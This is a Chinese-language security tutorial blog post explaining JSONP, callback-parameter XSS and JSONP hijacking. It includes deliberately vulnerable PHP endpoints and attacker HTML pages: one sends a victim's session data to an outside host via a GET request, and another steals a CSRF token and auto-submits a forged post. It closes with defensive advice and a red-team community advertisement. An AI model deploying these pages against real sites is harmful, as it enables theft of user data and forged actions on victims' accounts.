分享

Jsonp劫持,看这一篇就够了

 zZ华 2023-08-22 发布于广东

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文

JSONP

介绍

jsonp是一种协议,准确的说,他是json的一种使用模式,为了解决Json受同源策略限制的问题。

应用场景

JSONP的基本语法为:callback({“name”:”test”, “msg”:”success”})

常见的例子包括函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。

应用场景

json

假设在192.168.7.166下放了一个test.json

{ username: 'Sentiment', password: '123456' }

这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件

<script src='./jquery.js'></script>
<script >
 $.ajax({
 url: 'http://192.168.7.166/test.json',
 type:'get',     
 dataType: 'json',
 success: function (data) {
  console.log(data);}
 })
</script>

此时该HTML文件和test.json同域,所以HTML文件能够正常获取json文件的内容。

图片


若将test.json放到192.168.43.136下,HTML与test.json不同域,这时去访问jsonp.html,发现受同源策略限制被拒绝

图片


这时就需要用到jsonp来解决这个问题

jsonp

jsonp简单地说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。

因此只需将test.json中的内容按照javascript规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是jsonp的核心原理。

<body>
<script>
    function callback(data){
        alert('name:'+data.username+'  passwrod:'+data.password);
    }
</script>
<script src='http://192.168.43.136/test.json'></script>
</body>

在test.json中按照javascript代码规范调用callback函数,并将数据作为参数传入

callback({ username: 'Sentim', password: '123456' })

此时请求jsonp.html,成功请求跨域json

图片

JSONP跨域漏洞

JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

callback自定义导致的XSS

我们知道,在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。

如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content- Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

jsonp.php

<?php
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
    print $callback.'({'username' : 'Sentiment', 'password' : '123456'});';
} else {
    echo 'No callback param.';
}
?>

请求后触发xss,此时发现php默认的content-type为text/html

图片


起初使用Java部署了这个环境,但由于未对Servlet容器的content-type进行默认设置,默认为null,导致没有弹窗

其它content-type类型

经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS

JSONP劫持

因为jsonp实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起jsonp劫持。

Demo1— 窃取用户信息

设置模拟用户登录页面 login.php

<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
    $_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
    if ($_GET['logout'] === '1') {
        unset($_SESSION['name']);
    }
}
echo '<a href='http:///info.php?callback=jsonp'>用户信息</a><br>';
echo '<a href='http:///main.php?logout=1'>退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
    echo '<html>
   <head>
      <title>登录</title>
      <meta charset='utf-8'>
   </head>
   <body>
      <form action='login.php' method='get'>
         用户名:<input type='text' name='name'>
         密码:<input type='password' name='pwd'>
         <input type='submit' name='submit' value='login'>
      </form>
   </body>
   </html>';
}else{
    echo '欢迎您, '.$_SESSION['name'].'<br data-tomark-pass>';
}
?>

查询信息页面

info.php

<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
        echo $callback.'({'id':1,'name':'Sentiment'})';
} elseif($_SESSION['name'] === 'guest') {
        echo $callback.'({'id':2,'name':'guest'})';
} else {
        echo $callback.'获取个人信息失败';
}
?>

当用户登录后,访问info.php便能查询到自己的信息,此时构造恶意html

<html>
<head>
    <title>lol</title>
    <meta charset='utf-8'>
</head>
<script src='https://code./jquery-3.6.0.min.js'></script>
<script>
    function jsonp_hack(v){
        alert('JSONP hijacking');
        var h = '';
        for(var key in v){
            var a = '';
            a = key + ' : ' + v[key] + ' ,';
            h += a;
        }
        alert(h);
        $.get('http:///index.html?value='+h);
    }
</script>
<script src='http:///info.php?callback=jsonp_hack'></script>
<body>
    <h1>Welcome</h1>
</body>
</html>

引导用户访问后成功被jsonp劫持

图片

Demo2— 劫持token

下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。

add_article.php,放置于目标服务器中,功能是发表文章,前提是token值成功校验通过:

<?php
if(!empty($_POST['token'])){
    $csrf_token = $_POST['token'];
    $title = $_POST['title'];
    $content = $_POST['content'];
    if ($csrf_token === 'jsonp_test')
    {
        echo '文章发表成功~'.'</br>';
        echo $title.'</br>';
        echo $content;
    }
    else
    {
        echo 'csrf token error';
    }
}
else
{
    echo 'no token';
}
?>

token.php

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
    print $callback.'({'username' : 'Sentiment', 'password' : '123456', 'token' : 'jsonp_test'});';
} else {
    echo 'No callback param.';
}
?>

attack.html,攻击者用于诱使用户访问的文件,放置于攻击者服务器中,用于访问目标JSONP端点获取token之后,再带上该token向目标服务器的add_article.php发起请求来发表文章:

<html>
<head>
<title>JSONP Hijacking</title>
<meta charset='utf-8'>
</head>
<body>
<form action='http:///add_article.php' method='POST' id='csrfsend'>
<input type='hidden' name='content' value='Hacked by Sentiment!'>
<input type='hidden' name='title' value='Oops!'>
<input type='hidden' id='token' name='token' value=''>
</form>
<script type='text/javascript'>
function exp(obj){
    console.log(obj);
    var token = obj['token'];
    document.getElementById('token').value = token;
    document.getElementById('csrfsend').submit();
}
</script>
<script type='text/javascript' src='http:///token.php?callback=exp'></script>
</body>
</html>

引导用户访问后成功劫持token

图片

防御

  • · 若可行,则使用CORS替换JSONP实现跨域功能;

  • · 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;

  • · 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );

  • · 把回调函数加入到白名单

https://xz.aliyun.com/t/12744
author:Sentiment

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。(点我了解详情)

(先到先得,最后10人)

学习圈子

一个引导大家一起成长,系统化学习的圈子。如果看到这里的师傅是基础不够扎实/技术不够全面/入行安全不久/有充足时间的初学者...其中之一,那么欢迎加入我们的圈子。在圈子内会每周规划学习任务,提供资料、技术文档,供大家一起学习、交流,由浅入深、层层递进。(点我了解详情

交流群

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多